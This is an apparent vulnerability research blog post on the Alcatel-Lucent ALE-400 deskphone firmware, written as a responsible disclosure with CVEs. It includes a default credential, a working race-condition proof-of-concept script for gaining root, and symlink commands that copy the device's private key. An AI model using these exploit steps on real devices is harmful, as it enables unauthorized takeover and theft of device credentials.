This blog post is about an analysis of firmware security in a VoIP deskphone. This analysis ties in with our previous research and the demonstrated exploitation of zero touch deployments (see Zero Touch Pwn).
Introduction
As we described in the blog post Zero Touch Pwn and demonstrated at BlackHat USA 2023, inadequate firmware security of Voice-over-IP (VoIP) devices can lead to a major security risk. With this in mind, we conducted an in-depth analysis of another device to identify potential security vulnerabilities.
In this blog post, we descibe the security analysis of the ALE DeskPhone (ALE-400), manufactured and developed by Alcatel-Lucent Enterprise.
Alcatel ALE DeskPhone
We analyzed the firmware of an Alcatel-Lucent ALE-400 VoIP DeskPhone:
ALE-400
This analysis was carried out from a black box perspective, as we only had access to two firmware update files and the device itself.
Firmware Analysis
The ALE DeskPhones support two modes:
- The native mode with the proprietary New Office Environment (NOE) protocol, e.g. firmware
86x8_NOE-R300.1.40.012.4140-signed.zip
- The SIP mode with the well-known Session Initiation Protocol (SIP), e.g. firmware
86x8_SIP-R200.1.01.10.728-signed.zip
Depending on the firmware, the ZIP archive contains different binary files. The following output exemplarily shows the content of the NOE firmware file 86x8_NOE-R300.1.40.12.4180-signed.zip
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ 7z l 86x8_NOE-R300.1.40.12.4180-signed.zip
Listing archive: 86x8_NOE-R300.1.40.12.4180-signed.zip
--
Path = 86x8_NOE-R300.1.40.12.4180-signed.zip
Type = zip
Physical Size = 54859102
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-11-21 06:44:47 ..... 720692 666056 bin86x8P
2023-11-21 06:44:47 ..... 256 140 bin86x8P-header
2023-11-21 06:44:47 ..... 54186236 54192140 noe86x8P
2023-11-21 06:44:47 ..... 256 140 noe86x8P-header
------------------- ----- ------------ ------------ ------------------------
2023-11-21 06:44:47 54907440 54858476 4 files
The content of the SIP firmware file 86x8_SIP-R200.1.01.10.728-signed.zip
is shown in the following output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ 7z l 86x8_SIP-R200.1.01.10.728-signed.zip
Listing archive: 86x8_SIP-R200.1.01.10.728-signed.zip
--
Path = 86x8_SIP-R200.1.01.10.728-signed.zip
Type = zip
Physical Size = 57490311
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-09-22 08:22:56 ..... 57483608 57489849 sip86x8P
2023-09-22 08:22:56 ..... 256 138 sip86x8P-header
------------------- ----- ------------ ------------ ------------------------
2023-09-22 08:22:56 57483864 57489987 2 files
The firmware structure of the different operating modes is the same, as described later. Therefore, only one operating mode is covered here.
Firmware structure
The first interesting fact is that in addition to a comparatively larger file, there is also a file with the suffix -header
with a fixed size of 256 bytes.
When analyzing the first few bytes of a binary file, e.g. sip86x8P
, we found that the first 256 bytes correspond to the content of this header file (sip86x8P-header
), as the following output illustrates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
diff -y <(xxd -l 256 sip86x8P) <(xxd sip86x8P-header)
00000000: 0c1f 0000 0000 0000 5820 6d03 6d6a 1951 ........X 00000000: 0c1f 0000 0000 0000 5820 6d03 6d6a 1951 ........X
00000010: 405b 7369 7038 3678 3850 5f31 2e30 312e @[sip86x8P 00000010: 405b 7369 7038 3678 3850 5f31 2e30 312e @[sip86x8P
00000020: 3130 5f32 3153 6570 3233 5f31 3968 3039 10_21Sep23 00000020: 3130 5f32 3153 6570 3233 5f31 3968 3039 10_21Sep23
00000030: 0046 5200 0000 0000 494c 4c4b 4952 4348 .FR.....IL 00000030: 0046 5200 0000 0000 494c 4c4b 4952 4348 .FR.....IL
00000040: 7272 7272 7272 7272 7272 7272 7272 7272 rrrrrrrrrr 00000040: 7272 7272 7272 7272 7272 7272 7272 7272 rrrrrrrrrr
00000050: 7272 7272 7272 7272 7272 7272 7272 7200 rrrrrrrrrr 00000050: 7272 7272 7272 7272 7272 7272 7272 7200 rrrrrrrrrr
00000060: 7369 7038 3678 3850 5f52 785f 5f5f 5f5f sip86x8P_R 00000060: 7369 7038 3678 3850 5f52 785f 5f5f 5f5f sip86x8P_R
00000070: 4445 465f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f DEF_______ 00000070: 4445 465f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f DEF_______
00000080: 6363 6363 6363 6363 6363 6363 6363 6300 cccccccccc 00000080: 6363 6363 6363 6363 6363 6363 6363 6300 cccccccccc
00000090: 7369 7038 3678 3850 5f52 785f 5f5f 5f5f sip86x8P_R 00000090: 7369 7038 3678 3850 5f52 785f 5f5f 5f5f sip86x8P_R
000000a0: 7070 7070 7070 7070 7070 7070 7070 7000 pppppppppp 000000a0: 7070 7070 7070 7070 7070 7070 7070 7000 pppppppppp
000000b0: 0000 aac8 1f6d 031d e496 0b31 2e30 312e .....m.... 000000b0: 0000 aac8 1f6d 031d e496 0b31 2e30 312e .....m....
000000c0: 3130 3230 3233 3039 3231 3139 3039 0000 1020230921 000000c0: 3130 3230 3233 3039 3231 3139 3039 0000 1020230921
000000d0: 0000 11c8 1f6d 0300 0100 0044 6000 0000 .....m.... 000000d0: 0000 11c8 1f6d 0300 0100 0044 6000 0000 .....m....
000000e0: c820 6d03 ee00 0000 0028 216d 0300 0000 . m......( 000000e0: c820 6d03 ee00 0000 0028 216d 0300 0000 . m......(
000000f0: 0000 0000 0000 3732 3800 0000 0000 0053 ......728. 000000f0: 0000 0000 0000 3732 3800 0000 0000 0053 ......728.
It is therefore obvious that this is meta data or, as the file name already suggests, the header of the firmware. We will go into the structure of the header in more detail later.
The first 256 bytes are followed by the magic bytes FD 37 7A 58 5A 00
, which indicate XZ compression:
1
2
$ xxd -s +256 -l 16 sip86x8P
00000100: fd37 7a58 5a00 0004 e6d6 b446 0200 2101 .7zXZ......F..!.
As a next step, we decompressed the XZ-compressed data, resulting in a ~184 MB TAR archive and the remaining 144 bytes that are not yet known:
1
2
3
4
5
6
7
8
9
10
$ xxd -s -144 sip86x8P
036d20c8: 471a 3fea 80c0 f868 55ef 656b c82b 9984 G.?....hU.ek.+..
036d20d8: 855a 8d6d 4c8c 3035 fe2f fd28 41fc e721 .Z.mL.05./.(A..!
036d20e8: bfda 1efd 1d20 ac0d 50aa 5d98 339a ac21 ..... ..P.].3..!
036d20f8: 2185 5197 2f17 0b61 9a24 948c 182d 4493 !.Q./..a.$...-D.
036d2108: 3ab9 2764 645f 8b65 46e5 4ab6 f276 a13f :.'dd_.eF.J..v.?
036d2118: be26 d16d a3f8 6494 399b d805 4ae1 709c .&.m..d.9...J.p.
036d2128: a892 fd8f e94e 36b6 32aa c472 84e3 3747 .....N6.2..r..7G
036d2138: 73b0 00ba 8d2e 103d 2a2d 167a 5b71 5b00 s......=*-.z[q[.
036d2148: 2bdd 7613 1d39 51b4 27c4 3ff2 b6b3 30ad +.v..9Q.'.?...0.
The TAR archive, on the other hand, contains the phone’s unencrypted root file system, as the following output demonstrates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ tar --exclude="*/*/*" -tf data.tar
./
./css/
./sbin/
./proc/
./mnt/
./boot/
./tmp
./etc/
./bin/
./sys/
./usr/
./run/
./media/
./config/
./home/
./dev/
./lib/
./linuxrc
./root/
./config-fab/
./var/
./data/
Analysis of the update process
Since the root file system itself is not encrypted, we analyzed the firmware to get an idea of how the update process works.
In the phone’s user interface, we found a function called Upgrade via USB
.
As the phone does not offer administrative network services such as a web server, we decided to look specifically for the USB update process.
The identified USB update process can be summarized as follows:
- The script
/usr/sbin/upgrade_usb.sh
is called via the UI function. - The USB drive must contain a directory called
upgrade
in which the upgrade binaries are located. - The ARM binary file
/usr/sbin/dhs3_hd_parse
parses the firmware header. - If the firmware version does not match the installed one, the script
/usr/sbin/debug/dwl
is called. - The script
/usr/lib/upgrade/update_notify
is called. - The script
/usr/sbin/upgrade.sh
is called, which appears to be the main script for the upgrade.
Header structure
After we determined that the ARM binary /usr/sbin/dhs3_hd_parse
is used to parse the 256-byte header,
we decided to analyze it using Ghidra in order to get a better understanding of the header structure.
We then were able to identify the most important parts of the firmware header, as the following figure illustrates.
Firmware header structure
In addition to some meta data, the header also contains length fields and checksums:
- Length field at offset
0x08
: The length of the file without the header - Length field at offset
0xB3
: The length of the compressed root file system - Checksum at offset
0x0C
: Checksum of the file - Checksum at offset
0xB7
: Checksum of the compressed root file system
We found out that the length fields and the checksums are actually checked and taken into account by the update process. Therefore, we had to find out how the checksums are calculated.
Checksums
As described in the previous section, the header contains two checksums: a checksum for the entire upgrade file and a checksum for the XZ-compressed data (root file system).
The checksum calculation is performed by the ARM executable /usr/sbin/upgrade_check
and called by the script /usr/sbin/upgrade.sh
, as the following code excerpt shows.
Calling upgrade_check
for checksum calculation
While reversing this binary in Ghidra, we figured out, that the function at offset 0x000117e4
is responsible for the checksum calculation.
Function graph of checksum calculation
Now, that we had an understanding of the checksum calculation, we conducted dynamic analyses using emulation via QEMU to confirm our results.
The following figure shows the first function call during a checksum calculation.
Inital function call for checksum calculation
Explanation of the function call:
- First parameter (see register
r0
): Seed or initialization vector with the value0x0
- Second parameter (see register
r1
): Pointer to the data for checksum calculation - Third parameter (see register
r2
): Length of the data
The calculated checksum is the return value of the function (see register r0
), as illustrated in the following figure.
Return value of the function
Now for the next 1024 bytes, the calculated checksum of the previous block is used as seed, which is shown in the following figure.
Next block to calculate
So in summary, the checksum is calculated block by block for every 1024 bytes,
where the initial seed value for the first block is 0x0
, and for all other blocks the result of the checksum calculation of the previous block.
With this gained knowledge, we developed the following Python script, which implements this checksum algorithm.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys
def calc_checksum(seed, data):
if data is None:
return 1
accumulator = seed & 0xFFFF
seed >>= 0x10
for chunk_start in range(0, len(data), 1024):
chunk_size = min(1024, len(data) - chunk_start)
chunk = data[chunk_start : chunk_start + chunk_size]
for byte_val in chunk:
accumulator = (accumulator + byte_val) % 0xFFF1
seed = (seed + accumulator) % 0xFFF1
return (seed << 0x10) | accumulator
file_path = sys.argv[1]
seed = 0
with open(file_path, "rb") as file:
data = file.read()
checksum = calc_checksum(seed, data)
print(f"Checksum: {checksum}")
Since the checksum of the entire file (first checksum in the header) starts from offset 0x10
(decimal 16), we have to split the relevant data of the firmware file accordingly, for instance using dd
.
1
$ dd if=sip86x8P of=sip86x8P-to-calc skip=16 bs=1
Now, we are able to calculate the same checksum as listed in the original header, as the following output demonstrates.
1
2
3
4
5
6
7
# Calculate the checksum:
$ python3 checksum.py sip86x8P-to-calc
Checksum: 1360620141
# Checksum from the original header as decimal representation:
python -c "print(int('51196a6d', 16))"
1360620141
This also works for the second checksum regarding the TAR archive containing the root file system.
1
2
3
4
5
6
7
# Calculate the checksum:
$ python3 checksum.py xz.bin
Checksum: 194438173
# Checksum from the original header as decimal representation:
python -c "print(int('b96e41d', 16))"
194438173
During further analysis, however, we discovered that there is also a signature check in addition to the checksum. The signature is located at the end of the update file, in our case the last 144 bytes.
This Elliptic Curve Digital Signature Algorithm (ECDSA) signature is also verified by the executable /usr/sbin/upgrade_check
.
Since we do not have access to the corresponding cryptographic signature key, we cannot sign firmware files accordingly. Thus, we are unable to simply install manipulated firmware on the device and must therefore move on to another approach.
Getting Shell Access
During the firmware analysis, we noticed that the phone supports serial communication (UART) via USB and spawns a login shell if connected.
So, we wired up a suitable USB-to-serial adapter and logged in using the default credentials admin:123456
extracted and cracked from the file /etc/shadow
of the firmware.
The following figure shows the USB serial wiring.
USB serial wiring
A successful serial connection to the ALE-400 DeskPhone is shown in the following figure. USB serial connection
The following output shows a successful login as user admin
, which turned out to be a low-privileged user account.
1
2
3
4
5
6
7
8
9
10
11
12
$ picocom --b 115200 /dev/ttyUSB0
DSPG (dvf101, using Yocto/OE-Core "honister") v2.17-rc2 ALE-400-1E3430 /dev/ttySLK0
ALE-400-1E3430 login: admin
Password:
BusyBox v1.34.1 (2023-09-21 15:34:04 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Race Condition
The low-privileged shell access significantly increases the attack surface, and we have found a time-of-check to time-of-use (TOCTOU) vulnerability within the firmware update process.
During the update process, the firmware image is copied from the USB drive to /tmp/sip86x8P
on the phone.
However, the file is writable for everyone, as the following output shows.
1
2
ls -la /tmp/sip86x8P
-rw-rw-rw- 1 root root 57483592 Feb 22 08:55 sip86x8P
The tmp
directory has the sticky bit set, so the file cannot be deleted or replaced, but its content can be overwritten by anyone.
Combined with the fact that the firmware will run without locking the file or holding a file handle, this can be exploited after /usr/sbin/upgrade_check
successfully validated the firmware signature and returned without an error, for example from the perspective of the default low-privileged admin
user.
Firmware manipulation
We extracted the firmware, modified the /etc/passwd
file, assigned the user id 0
to the admin
user,
and additionally enabled the root account in the /etc/shadow
file.
Afterwards, we packed the firmware, recalculated the length and checksum, and modified the firmware header accordingly, as illustrated in the following figure.
Modified firmware header
As a next step, we downloaded the manipulated firmware to the phone at /tmp/sip86x8P-manipulated
and used the following shell script to exploit the TOCTOU vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh
PROC_NAME="upgrade_check --signature"
FLAG=""
while true
do
if [ "$FLAG" ]
then
if [ "$(ps | grep "$PROC_NAME" | egrep -v 'grep')" ]
then
continue
else
echo "[*] Process finished"
cat /tmp/sip86x8P-manipulated /tmp/sip86x8P
echo "[+] Image overwritten"
break
fi
fi
if [ "$(ps | grep "$PROC_NAME" | egrep -v 'grep')" ]
then
echo "[*] Signature verification process found"
FLAG="1"
fi
done
Now, by providing a good firmware file with a valid signature via a USB drive and initializing the update process, our script overwrites this good firmware with our manipulated one, once the signature verification is done.
The following figure illustrates the execution of our proof-of-concept script.
Execution of our proof-of-concept script
Afterwards, the manipulated firmware image is installed, and by this we successfully rooted the device, as shown in the following figures.
Successfully installed manipulated firmware
Rooted device with manipulated firmware
This vulnerability is described in our SySS security advisiory SYSS-2024-10 (CVE-2024-29149).
Arbitrary File Read
We also noticed that the function Maintenance/Debug/Get logs
available via the phones UI creates a ZIP-compressed archive of different files and logs, and stores it on the external USB drive.
Here, we identified another vulnerability concerning improper privilege management, which allows extracting sensitive and protected data from the perspective of the low-privileged admin
user.
The directory /data/core
is writable by the admin
user, as the following output illustrates.
1
2
ls -la /data/core
drwxrwxr-x 2 root admin 232 Feb 19 10:51 .
The content of this directory are debug files.
In light of executing the debug process with root privileges,
our approach involved establishing symbolic links within the scope of the low-privileged admin
user to access protected files within this directory.
Subsequently, these symbolic links are traced by the debug process and data is ultimately stored on the external USB drive.
The following output exemplarily shows creating symlinks for gaining access to a X.509 certificate and the corresponding private key.
1
2
3
4
# Symlink to the device certificate which is owned and only readable by root:
$ ln -s /config-fab/fabconfig/cert/cert.pem /data/core/cert.pem
$ ln -s /config-fab/fabconfig/cert/pkey.pem /data/core/pkey.pem
After plugging in a FAT32-formated USB drive and starting the debug process via the UI, the device certificate cert.pem
and the private key pkey.pem
were successfully copied to our USB drive, as the following output shows.
1
2
3
4
5
6
7
8
9
10
11
$ cat data/core/pkey.pem
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQCkAPFRXr1V5Ff6FqLEcTsj0hJSy94TK8lilKWFEmnljfqbfw3e
[...]
-----END RSA PRIVATE KEY-----
$ cat data/core/cert.pem
-----BEGIN CERTIFICATE-----
MIIDDDCCAfagAwIBAgIQEDwWwjNb5Q4vGjFAHRaAYTALBgkqhkiG9w0BAQswVTEL
[...]
-----END CERTIFICATE-----
This security vulnerability is described in our SySS security advisory SYSS-2024-11 (CVE-2024-29150).
Binary Fuzzing
In addition to analyzing the firmware, we conducted binary fuzzing in QEMU mode using AFL++ for the firmware header parser dhs3_hd_parse
, as the following figure illustrates.
Binary fuzzing using AFL++ in QEMU mode
The fuzzing test is still ongoing as of the time of this publication, and until now, there were no interesting fuzzing results.
Conclusion
A TOCTOU vulnerability allows a low-privileged user to perform a local privilege escalation attack on an ALE-DeskPhone. In addition, sensitive and protected files of the device can also be accessed by low-privileged users exploiting symbolic links.
The following table provides an overview of the found security vulnerabilities of the ALE-400 DeskPhone.
Vulnerability Type | SySS ID | CVE ID |
---|---|---|
Time-of-check Time-of-use (TOCTOU) Race Condition (CWE-367) | SYSS-2024-010 | CVE-2024-29149 |
Improper Privilege Management (CWE-269) | SYSS-2024-011 | CVE-2024-29150 |
As a result of our responsible disclosure of these security issues, the manufacturer provided patched firmware versions. Please see the manufacturer note for further information.
Special thanks
We want to thank Benjamin Pfister and Bundesverband Telekommunikation (VAF) for their support and providing helpful information regarding this research project.